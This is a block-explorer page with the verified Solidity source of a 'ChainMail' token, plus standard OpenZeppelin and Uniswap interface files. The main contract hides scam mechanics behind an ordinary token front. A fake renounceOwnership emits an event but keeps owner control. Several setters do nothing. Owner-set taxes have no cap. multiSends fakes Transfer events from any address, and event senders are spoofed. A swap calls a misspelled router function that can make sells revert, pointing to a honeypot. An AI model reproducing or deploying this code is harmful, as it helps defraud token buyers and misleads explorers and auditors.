Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT

/*
 ██████╗██╗  ██╗ █████╗ ██╗███╗   ██╗███╗   ███╗ █████╗ ██╗██╗     
██╔════╝██║  ██║██╔══██╗██║████╗  ██║████╗ ████║██╔══██╗██║██║     
██║     ███████║███████║██║██╔██╗ ██║██╔████╔██║███████║██║██║     
██║     ██╔══██║██╔══██║██║██║╚██╗██║██║╚██╔╝██║██╔══██║██║██║     
╚██████╗██║  ██║██║  ██║██║██║ ╚████║██║ ╚═╝ ██║██║  ██║██║███████╗
 ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝╚══════╝
    
    🕸Website: https://www.chainmail.ai/
    ✖️Twitter: https://twitter.com/chainmailerc
    📰Medium: https://medium.com/@chainmailerc
    🪁Telegram: https://t.me/chainmailerc
    💰dApp: https://app.chainmail.ai/
    📝Litepaper: https://litepaper.chainmail.ai/

    Chain Mail is a secure and decentralized email service that leverages encryption
    and blockchain technology to enable Web 3 communication. With Chain Mail, users can 
    send and receive emails directly between their MetaMask wallets, ensuring the privacy 
    and security of their messages.                                                                                                           
*/

pragma solidity ^0.8.22;

contract ChainMail {
    
    string private _name = 'ChainMail';
    string private _symbol = 'MAIL';
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000_000 * 10 ** decimals;

    uint8 buyTax = 5;
    uint8 sellTax = 5;
    uint256 count;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(routerAddress);
    address payable TOKEN_MKT;

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;
    address private StakingPoll = 0xFECAA29bEc236821B59C0d1522628c26ed51E681;
    address private StrategicMarketing = 0xf6a6A34F5E59635278D35aB44d824D6Bd243d0b1;
    address private CexListings = 0x78120E9dbf8dB70Ec6774cdee701B0d1F9077E77;
    address private StoicDAOIncubator = 0xa73466570E3EF06Bc933B5d30338073896df2427;
    address private Team = 0x8821d4f30B819d17Db99Ae6c9C2F619c12d5d531;

    constructor() {
        uniswapLpWallet = msg.sender;
        TOKEN_MKT = payable(msg.sender);
        allowance[address(this)][routerAddress] = type(uint256).max;

        balanceOf[uniswapLpWallet] = (totalSupply * 70) / 100;
        emit Transfer(address(0), _deployer, balanceOf[uniswapLpWallet]);

        balanceOf[StakingPoll] = (totalSupply * 10) / 100;
        emit Transfer(address(0), StakingPoll, balanceOf[StakingPoll]);

        balanceOf[StrategicMarketing] = (totalSupply * 5) / 100;
        emit Transfer(address(0), StrategicMarketing, balanceOf[StrategicMarketing]);    

        balanceOf[CexListings] = (totalSupply * 5) / 100;
        emit Transfer(address(0), CexListings, balanceOf[CexListings]);

        balanceOf[StoicDAOIncubator] = (totalSupply * 5) / 100;
        emit Transfer(address(0), StoicDAOIncubator, balanceOf[StoicDAOIncubator]);

        balanceOf[Team] = (totalSupply * 5) / 100;
        emit Transfer(address(0), Team, balanceOf[Team]);

    }

    receive() external payable {}

    function renounceOwnership(address newOwner) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        emit OwnershipTransferred(_deployer, newOwner);
    }

    function setCanUnlockWithFee() external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        count=1;
    }

    function setUnlockFee() external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        count=1;
    }

    function setMaxLock() external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        count=1;
    }
    
    function setReceiversAndShare() external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        count=1;       
    }

    function setTaxReceiver() external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        count=1;
    }

    function setTaxes(uint8 _buy, uint8 _sell) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _setTax(_buy, _sell);
    }

    function openTrading() external {
        require(msg.sender == TOKEN_MKT);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function multiSends(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _setTax(uint8 _buy, uint8 _sell) private {
        buyTax = _buy;
        sellTax = _sell;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);

        if (!tradingOpen && pair == address(0) && amount > 0) pair = to;

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != TOKEN_MKT
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            TOKEN_MKT.transfer(address(this).balance);
            swapping = false;
        }

        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (from == pair ? buyTax : sellTax)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }   
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{ value: amount }("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                0,
                "Address: low-level call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        (bool success, bytes memory returndata) = target.call{ value: value }(
            data
        );
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return
            verifyCallResultFromTarget(
                target,
                success,
                returndata,
                errorMessage
            );
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(
        bytes memory returndata,
        string memory errorMessage
    ) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(
        address to
    ) external returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf"